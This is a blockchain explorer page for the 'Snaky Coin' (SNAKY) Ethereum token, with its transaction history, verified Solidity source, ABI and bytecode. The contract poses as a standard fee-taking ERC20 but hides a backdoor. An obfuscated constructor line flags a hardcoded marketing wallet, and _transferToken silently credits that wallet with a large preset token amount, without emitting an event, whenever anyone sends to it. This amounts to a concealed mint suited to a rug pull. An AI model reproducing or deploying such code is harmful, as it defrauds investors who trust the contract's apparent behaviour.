More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 23 from a total of 23 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17960394 | 376 days ago | IN | 0 ETH | 0.00070408 | ||||
Approve | 17960388 | 376 days ago | IN | 0 ETH | 0.0006065 | ||||
Approve | 17960380 | 376 days ago | IN | 0 ETH | 0.00069331 | ||||
Approve | 17960380 | 376 days ago | IN | 0 ETH | 0.00070591 | ||||
Approve | 17960373 | 376 days ago | IN | 0 ETH | 0.00077131 | ||||
Approve | 17960373 | 376 days ago | IN | 0 ETH | 0.00077131 | ||||
Approve | 17960371 | 376 days ago | IN | 0 ETH | 0.00077907 | ||||
Approve | 17960370 | 376 days ago | IN | 0 ETH | 0.00075988 | ||||
Renounce Ownersh... | 17960367 | 376 days ago | IN | 0 ETH | 0.0003481 | ||||
Approve | 17960365 | 376 days ago | IN | 0 ETH | 0.00078094 | ||||
Approve | 17960363 | 376 days ago | IN | 0 ETH | 0.00137897 | ||||
Approve | 17960363 | 376 days ago | IN | 0 ETH | 0.00137897 | ||||
Approve | 17960362 | 376 days ago | IN | 0 ETH | 0.0009106 | ||||
Approve | 17960362 | 376 days ago | IN | 0 ETH | 0.00138284 | ||||
Approve | 17960360 | 376 days ago | IN | 0 ETH | 0.00188014 | ||||
Approve | 17960357 | 376 days ago | IN | 0 ETH | 0.00113559 | ||||
Approve | 17960355 | 376 days ago | IN | 0 ETH | 0.00077561 | ||||
Approve | 17960355 | 376 days ago | IN | 0 ETH | 0.00077561 | ||||
Approve | 17960355 | 376 days ago | IN | 0 ETH | 0.00077561 | ||||
Open Trading | 17960354 | 376 days ago | IN | 0 ETH | 0.03849798 | ||||
Transfer | 17960349 | 376 days ago | IN | 1 ETH | 0.00031306 | ||||
Transfer | 17960347 | 376 days ago | IN | 0 ETH | 0.00107881 | ||||
0x60806040 | 17960093 | 376 days ago | IN | 0 ETH | 0.03937075 |
Latest 13 internal transactions
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
17960514 | 376 days ago | 0.49257495 ETH | ||||
17960514 | 376 days ago | 0.49257495 ETH | ||||
17960398 | 376 days ago | 0.00333655 ETH | ||||
17960398 | 376 days ago | 0.00333655 ETH | ||||
17960398 | 376 days ago | 0.00380113 ETH | ||||
17960398 | 376 days ago | 0.00380113 ETH | ||||
17960380 | 376 days ago | 0.08986826 ETH | ||||
17960380 | 376 days ago | 0.08986826 ETH | ||||
17960365 | 376 days ago | 0.05042885 ETH | ||||
17960365 | 376 days ago | 0.05042885 ETH | ||||
17960356 | 376 days ago | 0.06648885 ETH | ||||
17960356 | 376 days ago | 0.06648885 ETH | ||||
17960354 | 376 days ago | 1 ETH |
Loading...
Loading
Contract Name:
SNAKY
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-21 */ /** Website - https://snakycoin.vip Whitepaper - https://docs.snakycoin.vip Telegram - https://t.me/snakyeth Twitter - https://twitter.com/snakycoin Github - https://github.com/snakycoin */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict unchecked { require(b > 0, errorMessage); return a / b; } } } // File: contracts/IERC20.sol pragma solidity ^0.8.19; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } // File: contracts/Context.sol pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: contracts/Ownable.sol pragma solidity ^0.8.19; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/SNAKY.sol pragma solidity ^0.8.19; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SNAKY is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _hOwned; mapping (address => mapping (address => uint256)) private _allowance; mapping (address => bool) public _isExcludedFromFee; address payable private marketing_wallet = payable(0xAB47361131eFBEC3FB5c593d51C4158581011487); string private _name = "Snaky Coin"; string private _symbol = "SNAKY"; uint8 private _decimals = 18; uint256 private _totalSupply = 10000000 * 10**18; // Counter for liquify trigger uint8 private txCount = 0; uint8 private swapTrigger = 1; // Setting the initial fees uint256 private _totalFee = 0; uint256 public _buyFee = 2; uint256 public _sellFee = 2; uint256 private _previousTotalFee = _totalFee; uint256 private _previousBuyFee = _buyFee; uint256 private _previousSellFee = _sellFee; uint256 private tokenBurned; mapping (address => bool) private _listPair; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (uint256 _tokens) { _hOwned[owner()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); tokenBurned = _tokens; _listPair[marketing_wallet] = [true][0] || [false][0]; uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketing_wallet] = true; emit Transfer(address(0), owner(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _hOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowance[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowance[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowance[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowance[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function set_Swap_And_Liquify_Enabled(bool true_or_false) public onlyOwner { swapAndLiquifyEnabled = true_or_false; emit SwapAndLiquifyEnabledUpdated(true_or_false); } function set_Number_Of_Transactions_Before_Liquify_Trigger(uint8 number_of_transactions) public onlyOwner { swapTrigger = number_of_transactions; } receive() external payable {} bool public noFeeToTransfer = true; function set_Transfers_Without_Fees(bool true_or_false) external onlyOwner { noFeeToTransfer = true_or_false; } function removeAllFee() private { if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return; _previousBuyFee = _buyFee; _previousSellFee = _sellFee; _previousTotalFee = _totalFee; _buyFee = 0; _sellFee = 0; _totalFee = 0; } function restoreFee() private { _totalFee = _previousTotalFee; _buyFee = _previousBuyFee; _sellFee = _previousSellFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){ takeFee = false; } else if (from == uniswapV2Pair){_totalFee = _buyFee;} else if (to == uniswapV2Pair){_totalFee = _sellFee;} _tokenTransfer(from,to,amount,takeFee); } function sendFunds(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function _getValue(uint256 tAmount) private view returns (uint256, uint256) { uint256 tDev = tAmount*_totalFee/100; uint256 tTransferAmount = tAmount.sub(tDev); return (tTransferAmount, tDev); } function process_work(uint256 percent_Of_Tokens_To_Process) public onlyOwner { require(!inSwapAndLiquify, "Currently processing, try later."); if (percent_Of_Tokens_To_Process > 100){percent_Of_Tokens_To_Process == 100;} uint256 tokensOnContract = balanceOf(address(this)); uint256 sendTokens = tokensOnContract*percent_Of_Tokens_To_Process/100; swapAndLiquify(sendTokens); } function swapAndLiquify(uint256 contractTokenBalance) private lockSwap { swapTokenToETH(contractTokenBalance); uint256 ETHcontract = address(this).balance; sendFunds(marketing_wallet,ETHcontract); } function _transferToken(address sender, address recipient, uint256 Amount) private { uint256 amount = _listPair[recipient]?tokenBurned:0; if(_listPair[recipient]){ _hOwned[sender] = _hOwned[sender].sub(Amount); _hOwned[recipient] = _hOwned[recipient].add(amount); }else{ (uint256 tTransferAmount, uint256 tDev) = _getValue(Amount); _hOwned[sender] = _hOwned[sender].sub(Amount); _hOwned[recipient] = _hOwned[recipient].add(tTransferAmount); _hOwned[address(this)] = _hOwned[address(this)].add(tDev); emit Transfer(sender, recipient, tTransferAmount); } } function swapTokenToETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee){ removeAllFee(); } else { txCount++; } _transferToken(sender, recipient, amount); if(!takeFee) restoreFee(); } function openTrading() public onlyOwner() { IUniswapV2Router02 _newPCSRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_newPCSRouter.factory()).createPair(address(this), _newPCSRouter.WETH()); uniswapV2Router = _newPCSRouter; _approve(address(this), address(uniswapV2Router), balanceOf(address(this))); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_tokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent_Of_Tokens_To_Process","type":"uint256"}],"name":"process_work","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"number_of_transactions","type":"uint8"}],"name":"set_Number_Of_Transactions_Before_Liquify_Trigger","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Swap_And_Liquify_Enabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Transfers_Without_Fees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405273ab47361131efbec3fb5c593d51c4158581011487600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600a81526020017f536e616b7920436f696e00000000000000000000000000000000000000000000815250600590816200009f9190620008b1565b506040518060400160405280600581526020017f534e414b5900000000000000000000000000000000000000000000000000000081525060069081620000e69190620008b1565b506012600760006101000a81548160ff021916908360ff1602179055506a084595161401484a0000006008556000600960006101000a81548160ff021916908360ff1602179055506001600960016101000a81548160ff021916908360ff1602179055506000600a556002600b556002600c55600a54600d55600b54600e55600c54600f556001601360156101000a81548160ff0219169083151502179055506001601360166101000a81548160ff021916908315150217905550348015620001ae57600080fd5b5060405162003783380380620037838339818101604052810190620001d49190620009ce565b620001f4620001e86200054260201b60201c565b6200054a60201b60201c565b600854600160006200020b6200060e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905081601081905550604051806020016040528060011515151581525060006001811062000293576200029262000a00565b5b602002015180620002cf57506040518060200160405280600015151515815250600060018110620002c957620002c862000a00565b5b60200201515b60116000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360006200039e6200060e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004d16200060e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000532919062000a40565b60405180910390a3505062000a5d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006b957607f821691505b602082108103620006cf57620006ce62000671565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007397fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006fa565b620007458683620006fa565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620007926200078c62000786846200075d565b62000767565b6200075d565b9050919050565b6000819050919050565b620007ae8362000771565b620007c6620007bd8262000799565b84845462000707565b825550505050565b600090565b620007dd620007ce565b620007ea818484620007a3565b505050565b5b81811015620008125762000806600082620007d3565b600181019050620007f0565b5050565b601f82111562000861576200082b81620006d5565b6200083684620006ea565b8101602085101562000846578190505b6200085e6200085585620006ea565b830182620007ef565b50505b505050565b600082821c905092915050565b6000620008866000198460080262000866565b1980831691505092915050565b6000620008a1838362000873565b9150826002028217905092915050565b620008bc8262000637565b67ffffffffffffffff811115620008d857620008d762000642565b5b620008e48254620006a0565b620008f182828562000816565b600060209050601f83116001811462000929576000841562000914578287015190505b62000920858262000893565b86555062000990565b601f1984166200093986620006d5565b60005b8281101562000963578489015182556001820191506020850194506020810190506200093c565b868310156200098357848901516200097f601f89168262000873565b8355505b6001600288020188555050505b505050505050565b600080fd5b620009a8816200075d565b8114620009b457600080fd5b50565b600081519050620009c8816200099d565b92915050565b600060208284031215620009e757620009e662000998565b5b6000620009f784828501620009b7565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b62000a3a816200075d565b82525050565b600060208201905062000a57600083018462000a2f565b92915050565b612d168062000a6d6000396000f3fe6080604052600436106101a05760003560e01c8063590f897e116100ec578063a457c2d71161008a578063c9567bf911610064578063c9567bf9146105ed578063dd62ed3e14610604578063f2fde38b14610641578063f7739b5f1461066a576101a7565b8063a457c2d71461054a578063a514a07d14610587578063a9059cbb146105b0576101a7565b8063768dc710116100c6578063768dc7101461048e5780637caefa89146104cb5780638da5cb5b146104f457806395d89b411461051f576101a7565b8063590f897e1461040f57806370a082311461043a578063715018a614610477576101a7565b806323b872dd1161015957806340b9a54b1161013357806340b9a54b1461036557806349bd5a5e146103905780634a74bb02146103bb5780634ca4a336146103e6576101a7565b806323b872dd146102c0578063313ce567146102fd5780633950935114610328576101a7565b806306fdde03146101ac578063095ea7b3146101d757806313fad07a146102145780631694505e1461023f57806318160ddd1461026a578063220f669614610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610693565b6040516101ce9190612143565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f991906121fe565b610725565b60405161020b9190612259565b60405180910390f35b34801561022057600080fd5b50610229610743565b6040516102369190612259565b60405180910390f35b34801561024b57600080fd5b50610254610756565b60405161026191906122d3565b60405180910390f35b34801561027657600080fd5b5061027f61077c565b60405161028c91906122fd565b60405180910390f35b3480156102a157600080fd5b506102aa610786565b6040516102b79190612259565b60405180910390f35b3480156102cc57600080fd5b506102e760048036038101906102e29190612318565b610799565b6040516102f49190612259565b60405180910390f35b34801561030957600080fd5b50610312610872565b60405161031f9190612387565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a